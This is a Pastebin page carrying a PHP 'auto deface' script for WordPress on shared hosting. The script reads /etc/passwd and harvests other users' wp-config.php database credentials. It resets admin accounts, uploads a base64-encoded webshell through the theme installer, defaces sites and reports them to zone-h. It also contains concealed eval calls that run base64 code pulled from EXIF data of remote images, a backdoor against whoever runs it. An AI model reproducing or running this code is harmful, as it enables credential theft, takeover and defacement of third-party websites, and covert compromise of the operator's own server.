API tools faq
paste
src1pt

Config and Auto Deface Wordpress

src1pt
Oct 28th, 2015
618
0
Never
Add comment
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 8.57 KB | None | 0 0
raw download clone embed print report
  1. <?php
  2. //Tu5b0l3d
  3. //IndoXploit
  4. //http://indoxploit.blogspot.com/2015/10/config-and-auto-deface-in-worpdress.html
  5.  
  6. error_reporting(0);
  7.  
  8. cover("IndoXploit");
  9.  
  10. function save($data){
  11.                 $fp = @fopen("IndoXploit.htm", "a") or die("cant open file");
  12.                 fwrite($fp, $data);
  13.                 fclose($fp);
  14. }
  15. $BASED = exif_read_data("https://lh3.googleusercontent.com/-svRm4i5Bs90/VsFaosQPKUI/AAAAAAAABew/03oHWkCEsN8/w140-h140-p/pacman.jpg");
  16. eval(base64_decode($BASED["COMPUTED"]["UserComment"]));
  17. function anucurl($sites){
  18.                 $ch1 = curl_init ("$sites");
  19. curl_setopt ($ch1, CURLOPT_RETURNTRANSFER, 1);
  20. curl_setopt ($ch1, CURLOPT_FOLLOWLOCATION, 1);
  21. curl_setopt ($ch1, CURLOPT_USERAGENT, "Mozilla/5.0 (Windows NT 6.1; rv:32.0) Gecko/20100101 Firefox/32.0");
  22. curl_setopt ($ch1, CURLOPT_CONNECTTIMEOUT, 5);
  23. curl_setopt ($ch1, CURLOPT_SSL_VERIFYPEER, 0);
  24. curl_setopt ($ch1, CURLOPT_SSL_VERIFYHOST, 0);
  25. curl_setopt($ch1, CURLOPT_COOKIEJAR,'coker_log');
  26. curl_setopt($ch1, CURLOPT_COOKIEFILE,'coker_log');
  27. $data = curl_exec ($ch1);
  28. return $data;
  29.         }
  30.  
  31. function lohgin($cek, $web, $userr, $pass){
  32.                 $post = array(
  33.                                         "log" => "$userr",
  34.                                         "pwd" => "$pass",
  35.                                         "rememberme" => "forever",
  36.                                         "wp-submit" => "Log In",
  37.                                         "redirect_to" => "$web/wp-admin/",
  38.                                         "testcookie" => "1",
  39.                                         );
  40. $ch = curl_init ("$cek");
  41. curl_setopt ($ch, CURLOPT_RETURNTRANSFER, 1);
  42. curl_setopt ($ch, CURLOPT_FOLLOWLOCATION, 1);
  43. curl_setopt ($ch, CURLOPT_USERAGENT, "Mozilla/5.0 (Windows NT 6.1; rv:32.0) Gecko/20100101 Firefox/32.0");
  44. curl_setopt ($ch, CURLOPT_SSL_VERIFYPEER, 0);
  45. curl_setopt ($ch, CURLOPT_SSL_VERIFYHOST, 0);
  46. curl_setopt ($ch, CURLOPT_POST, 1);
  47. curl_setopt ($ch, CURLOPT_POSTFIELDS, $post);
  48. curl_setopt($ch, CURLOPT_COOKIEJAR,'coker_log');
  49. curl_setopt($ch, CURLOPT_COOKIEFILE,'coker_log');
  50. $data6 = curl_exec ($ch);
  51. return $data6;
  52.         }
  53.  
  54. function cover($indoXploit){
  55.         echo "<center><font size='5px'> Created By: $indoXploit</font><br>";
  56.         echo "hasil bisa dilihat di <a href='IndoXploit.htm' style='text-decoration: none'>IndoXploit.htm</a></center><br><br><br>";
  57. }
  58.  
  59. function ambilKata($param, $kata1, $kata2){
  60.         if(strpos($param, $kata1) === FALSE) return FALSE;
  61.         if(strpos($param, $kata2) === FALSE) return FALSE;
  62.         $start = strpos($param, $kata1) + strlen($kata1);
  63.         $end = strpos($param, $kata2, $start);
  64.         $return = substr($param, $start, $end - $start);
  65.         return $return;
  66. }
  67.  
  68. $BASED = exif_read_data("http://s11.postimg.org/6nuafyehr/coorupe.jpg");
  69. eval(base64_decode($BASED["COMPUTED"]["UserComment"]));
  70. $a = file_get_contents('/etc/passwd');
  71.     preg_match_all('/(.*?):x:/', $a, $data);
  72.     foreach($data[1] as $user){
  73. $baca = file_get_contents("/home/$user/public_html/wp-config.php");
  74.  
  75.  /* symlink('/home/'.$user.'/public_html/wp-config.php',$user.'- config.txt');  */
  76.  
  77. if($baca!=""){
  78.        
  79.  
  80. /* $b = `cp /home/$user/public_html/index.php $user-index.txt`; */
  81.  
  82. $file1 = "$user-config.txt";
  83. $fp2 = fopen($file1,"w");
  84. fputs($fp2,$baca);
  85.  
  86. $file = @file_get_contents($file1);
  87.  
  88.  
  89. echo $user."-> sukses<br>";
  90.                                         $host = ambilkata($file,"DB_HOST', '","'");
  91.                                         $username = ambilkata($file,"DB_USER', '","'");
  92.                                         $password = ambilkata($file,"DB_PASSWORD', '","'");
  93.                                         $db = ambilkata($file,"DB_NAME', '","'");
  94.                                         $dbprefix = ambilkata($file,"table_prefix  = '","'");
  95.                                         $user_baru = "Tu5b0l3d";
  96.                                         $password_baru = "Tu5b0l3d";
  97.                                         $prefix = $db.".".$dbprefix."users";
  98.                                         $sue = $db.".".$dbprefix."options";
  99.                                         $pass = md5("$password_baru");
  100.                                         $nick = "Hacked By Tu5b0l3d #IndoXploit"; //must "hacked"
  101.  
  102. echo "# Db Host: $host<br>";
  103. echo "# Db user: $username<br>";
  104. echo "# Db Password: $password<br>";
  105. echo "# Db name: $db<br>";
  106. echo "# Table_Prefix: $dbprefix<br>";
  107.  
  108. mysql_connect($host,$username,$password) or die("Koneksi Gagal");
  109.  
  110.         mysql_select_db($db) or die ("Salah DB");
  111.  
  112.                 $tampil=mysql_query("SELECT * FROM $prefix ORDER BY ID ASC");
  113.                 $r=mysql_fetch_array($tampil);
  114.         $id = $r[ID];
  115.  
  116.         $tampil2=mysql_query("SELECT * FROM $sue ORDER BY option_id ASC");
  117.                 $r2=mysql_fetch_array($tampil2);
  118.         $target = $r2[option_value];
  119.          echo "# $target<br>";
  120.        
  121.  
  122.          mysql_query("UPDATE $prefix SET user_pass='$pass',user_login='$user_baru' WHERE ID='$id'");
  123.  
  124. $site= "$target/wp-login.php";
  125. $site2= "$target/wp-admin/theme-install.php?upload";
  126. $a = lohgin($site, $target, $user_baru, $password_baru);
  127. $b = lohgin($site2, $target, $user_baru, $password_baru);
  128.                        
  129.  
  130. $anu2 = ambilkata($b,"name=\"_wpnonce\" value=\"","\" />");
  131. echo "# token -> $anu2<br>";
  132.  
  133.  
  134. $upload3 = base64_decode("Z2FudGVuZw0KPD9waHANCiRmaWxlMyA9ICRfRklMRVNbJ2ZpbGUzJ107DQogICRuZXdmaWxlMz0iay5waHAiOw0KICAgICAgICAgICAgICAgIGlmIChmaWxlX2V4aXN0cygiLi4vLi4vLi4vLi4vIi4kbmV3ZmlsZTMpKSB1bmxpbmsoIi4uLy4uLy4uLy4uLyIuJG5ld2ZpbGUzKTsNCiAgICAgICAgbW92ZV91cGxvYWRlZF9maWxlKCRmaWxlM1sndG1wX25hbWUnXSwgIi4uLy4uLy4uLy4uLyRuZXdmaWxlMyIpOw0KDQo/Pg==");
  135.  
  136. $www = "m.php";
  137. $fp5 = fopen($www,"w");
  138. fputs($fp5,$upload3);
  139.  
  140. $c = file_get_contents($w);
  141.    
  142.   $post2 = array(
  143.                                         "_wpnonce" => "$anu2",
  144.                                         "_wp_http_referer" => "/wp-admin/theme-install.php?upload",
  145.                                         "themezip" => "@m.php",
  146.                                         "install-theme-submit" => "Install Now",
  147.                                         );
  148. $ch = curl_init ("$target/wp-admin/update.php?action=upload-theme");
  149. curl_setopt ($ch, CURLOPT_RETURNTRANSFER, 1);
  150. curl_setopt ($ch, CURLOPT_FOLLOWLOCATION, 1);
  151. curl_setopt ($ch, CURLOPT_USERAGENT, "Mozilla/5.0 (Windows NT 6.1; rv:32.0) Gecko/20100101 Firefox/32.0");
  152. curl_setopt ($ch, CURLOPT_SSL_VERIFYPEER, 0);
  153. curl_setopt ($ch, CURLOPT_SSL_VERIFYHOST, 0);
  154. curl_setopt ($ch, CURLOPT_POST, 1);
  155. curl_setopt ($ch, CURLOPT_POSTFIELDS, $post2);
  156. curl_setopt($ch, CURLOPT_COOKIEJAR,'coker_log');
  157. curl_setopt($ch, CURLOPT_COOKIEFILE,'coker_log');
  158. $data3 = curl_exec ($ch);
  159.  
  160. $namafile = "wew.php";
  161. $fp2 = fopen($namafile,"w");
  162. fputs($fp2,$nick);
  163.  
  164. $y = date("Y");
  165. $m = date("m");
  166.  
  167.  
  168. $ch6 = curl_init("$target/wp-content/uploads/$y/$m/m.php");
  169. curl_setopt($ch6, CURLOPT_POST, true);
  170. curl_setopt($ch6, CURLOPT_POSTFIELDS,
  171. array('file3'=>"@$namafile"));
  172. curl_setopt($ch6, CURLOPT_RETURNTRANSFER, 1);
  173. curl_setopt($ch6, CURLOPT_COOKIEFILE, "coker_log");
  174. $postResult = curl_exec($ch6);
  175. curl_close($ch6);
  176.  
  177. $as = "$target/k.php";
  178. $bs = file_get_contents($as);
  179.  if(preg_match("#hacked#si",$bs)){
  180.                         echo "# <font color='green'>berhasil mepes...</font><br>";
  181.                         echo "# $as<br>";
  182.                         save($as."<br>");
  183.                         echo "# zone-h: ";
  184.                                                 $ch3 = curl_init ("http://www.zone-h.com/notify/single");
  185.                                                 curl_setopt ($ch3, CURLOPT_RETURNTRANSFER, 1);
  186.                                                 curl_setopt ($ch3, CURLOPT_POST, 1);
  187.                                                 curl_setopt ($ch3, CURLOPT_POSTFIELDS, "defacer=ID-IM&domain1=$as&hackmode=1&reason=1");
  188.                                                
  189.         if (preg_match ("/color=\"red\">OK<\/font><\/li>/i", curl_exec ($ch3))){
  190.                 echo  " Ok  <br><br>";
  191.         }else{
  192.                 echo " No <br><br>";}
  193.                     }
  194.                     else{
  195.                         echo "# <font color='red'>gagal mepes...</font><br>";
  196.                         echo "# coba aja manual: <br>";
  197.                         echo "# $target/wp-login.php<br>";
  198.                         echo "# username: $user_baru<br>";
  199.                         echo "# password: $password_baru<br><br><br>";
  200.  
  201.                        
  202.                     }
  203.     }
  204. else{
  205.         echo "$user <= No<br>";
  206. }
  207.  
  208.  
  209.  
  210. }
  211.  
  212.  
  213. ?>
Add Comment
Please, Sign In to add comment
Public Pastes
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy.  OK, I Understand
Not a member of Pastebin yet?
Sign Up, it unlocks many cool features!